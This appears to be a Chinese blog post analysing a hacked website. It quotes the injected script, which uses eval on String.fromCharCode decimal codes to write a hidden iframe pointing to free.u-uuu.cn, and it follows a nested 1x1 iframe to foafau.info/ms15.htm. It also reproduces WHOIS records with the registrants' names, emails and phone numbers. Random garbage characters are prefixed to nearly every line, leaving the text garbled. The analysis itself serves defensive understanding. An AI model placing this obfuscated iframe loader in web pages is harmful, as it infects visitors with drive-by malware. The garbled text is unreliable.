首发在我的博客里面，
\"<&8 U3&*,xeU@H http://www.areway.cn/?p=175 Z"mpE+U* h, \^Sb5AP 7=6p 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
VQ$=F8ivG mdoy1 a <script>t=’60,105,102,114,97,109,101,
D-8%lGS 32,115,114,99,61,104,116,116,112,58,47,47,
0 jVuF l 102,114,101,101,46,117,45,117,117,117,46,99,
? k<wI)JR 110,47,101,114,114,111,114,46,104,116,109,
Gmc xN< 32,119,105,100,116,104,61,49,48,48,32,104,
N_= 7 101,105,103,104,116,61,48,62,60,47,105,102,
. KIAeCvl\ 114,97,109,101,62′;
Q4Hf!v]r t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
@ R9 0v,DQJ?w8 <script>t=’60,105,102,114,97,109,101,32,115,
44
o5I: 114,99,61,104,116,116,112,58,47,47,102,114,
^>72<1U% 101,101,46,117,45,117,117,117,46,99,110,47,
m32OE` s 101,114,114,111,114,46,104,116,109,32,119,
.1t$(]CyC 105,100,116,104,61,49,48,48,32,104,101,105,
KQN SYI7a 103,104,116,61,48,62,60,47,105,102,114,97,
$x vEYK 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
pr>K#@^ document.write(t);</script>
n,9 *!1y .[+8D= <html xmlns=”
mRW(]OFIai http://www.w3.org/1999/xhtml GLv}|>W “>
{MO`0n;
rt <head>
KJ.ra\F <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
} V ;PaX <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
' B8fc-n <title>首页 - 爱生活家庭网
+)qPUKb? _g0
qpa 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
wpb6F ' 转换字符串后的大概内容是（谁点击后果自付）：
ePrb G4xv <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
\I/l6H>o3 H]mY 6D51" 查询玉米u-uuu.cn的详细信息：
eOZA2 Domain Name: u-uuu.cn
\$ yI'q ROID: 20070901s10001s64972306-cn
WvAl !^{` Domain Status: ok
23U9+ Registrant Organization: 王雷
&dbX>u q Registrant Name: 王雷
6( ju!pE` Administrative Email:
czlovexs@126.com /7h}_zs6 Sponsoring Registrar: 北京万网志成科技有限公司
0;!aO.l]K Name Server:ns.yovole.com
tZk@ RX Name Server:ns1.yovole.com
2j=3i@ Registration Date: 2007-09-01 17:54
O8[dPm W Expiration Date: 2008-09-01 17:54
&j2L- ) 最后PING了一下地址 都没有什么….
V<\:iNX X{ L_<&oq 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
}zlvs
a+ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
3 ^{U:"N0 <script language=”javascript” src=”
4<ER
dP7"- http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script W a2V Z >
$kZ,uvKN 这个玉米应该有可能是木马作者的：
:c!7rh7O foafau.info的详细信息：
:kOLiko!4> Access to INFO WHOIS information is provided to assist persons in
oMkB!s determining the contents of a domain name registration record in the
UDt.w82 Afilias registry database. The data in this record is provided by
[
}jSx] Afilias Limited for informational purposes only, and Afilias does not
:>Z0Kb}7 guarantee its accuracy. This service is intended only for query-based
GNZQj8 access. You agree that you will use this data only for lawful purposes
shYcfLJ and that, under no circumstances will you use this data to: (a) allow,
N{q5E ,} enable, or otherwise support the transmission by e-mail, telephone, or
Q'7o_[o/ facsimile of mass unsolicited, commercial advertising or solicitations
.J&NM(q eZ to entities other than the data recipient’s own existing customers; or
6 !+x f (b) enable high volume, automated, electronic processes that send
P`-(08t queries or data to the systems of Registry Operator, a Registrar, or
SXwgn > Afilias except as reasonably necessary to register domain names or
fx99@%Ii modify existing registrations. All rights reserved. Afilias reserves
S]K^wj[ the right to modify these terms at any time. By submitting this query,
2^[fUzL? you agree to abide by this policy.
dn:g_!]p Domain ID:D22418703-LRMS
nO\|43W Domain Name:FOAFAU.INFO
O >n L ;I Created On:20-Nov-2007 16:05:42 UTC
nUs) Last Updated On:20-Nov-2007 16:05:44 UTC
h: a5FK@ Expiration Date:20-Nov-2008 16:05:42 UTC
8p-5.GU)<e Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
E{wVf_K Status:CLIENT DELETE PROHIBITED
U1 1rj,7 Status:CLIENT RENEW PROHIBITED
U%t:]6d&} Status:CLIENT TRANSFER PROHIBITED
OAOG&6xu8 Status:CLIENT UPDATE PROHIBITED
D<5gdIw Status:TRANSFER PROHIBITED
/U N%P2>^1 Registrant ID:GODA-040110615
' /z.\ S Registrant Name:liu hong
sN5 x\9U Registrant Organization:
H1s{JJAM>i Registrant Street1:beijing
)WwysGkqol Registrant Street2:
o7DDL{iR/ Registrant Street3:
'gI58#v Registrant City:beijing
j ;VYF Registrant State/Province:
!`=r ( 'l Registrant Postal Code:100000
G?<L{J2"Q Registrant Country:CN
3|/ ;`KfQ Registrant Phone:+86.860108888777
v src e Registrant Phone Ext.:
;s9!r a:3 Registrant FAX:
`vL R;D Registrant FAX Ext.:
#y-OkGS
^
Registrant Email:bbbshiji@163.com
wD22@uM#] Admin ID:GODA-240110615
rnmWw # Admin Name:liu hong
q>]v~ Admin Organization:
UF D_ Admin Street1:beijing
;=_<\2 Admin Street2:
y;;^o6Gnw Admin Street3:
w{I60|C]* Admin City:beijing
ZH0 ~: Admin State/Province:
?mG
?N(t/h Admin Postal Code:100000
i*.Z~$ Admin Country:CN
L L9I:^ Admin Phone:+86.860108888777
8%arA"#S Admin Phone Ext.:
|os2@G$ Admin FAX:
xot q$r Admin FAX Ext.:
5c'rnMW4+p Admin Email:bbbshiji@163.com
@2YO_rL[ Billing ID:GODA-340110615
oJ{)0;<~L Billing Name:liu hong
Z TjlGU ` Billing Organization:
""d3ownKhw Billing Street1:beijing
A5ktbj&gy< Billing Street2:
>+#T sX{ Billing Street3:
UrN$nhH Billing City:beijing
&Xr F#s Billing State/Province:
;#~rd8Z52 Billing Postal Code:100000
hCQ{D|/ Billing Country:CN
A`#5pGR Billing Phone:+86.860108888777
V0wK.^]+}/ Billing Phone Ext.:
Fe"0Hp+ Billing FAX:
hYb!RRGn Billing FAX Ext.:
/bt@HF L|` Billing Email:bbbshiji@163.com
b[e+(X Tech ID:GODA-140110615
Kq hj =B Tech Name:liu hong
gAv?\9=a)W Tech Organization:
C\$7C5/ Tech Street1:beijing
IB( IiF5 Tech Street2:
9#O"^.Z ! Tech Street3:
"%,zB_ng\< Tech City:beijing
J\m7U Tech State/Province:
m[ifcDZ( e Tech Postal Code:100000
-'] #5p l Tech Country:CN
h8pc<t\6 Tech Phone:+86.860108888777
hCW8(Zt Tech Phone Ext.:
Gx' mVC"{ Tech FAX:
2=["jP!B Tech FAX Ext.:
"W\
#d Tech Email:bbbshiji@163.com
&NHI X(b6 Name Server:NS27.DOMAINCONTROL.COM
?|N:[. Name Server:NS28.DOMAINCONTROL.COM
e)cmZ8~S Name Server:
w`F}3zm Name Server:
90K&s#+13 Name Server:
w y:. Name Server:
EBK\.[ Name Server:
R0oP##] Name Server:
u^!-Z)W Name Server:
y])xP%q2 O Name Server:
}I05&/o.3p Name Server:
pOnZ7( Name Server:
>jN)9}3>-# Name Server:
+]5JXt^
)Je iTh^ 接着下载每个文件里面的代码：
M ;\K+, 一步一步看..
s )~Q@ze2 
_F,@mQ$! 
7F)HAbIS 
h %MPppCEa 
?>4^e: 
.$99/2[90 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
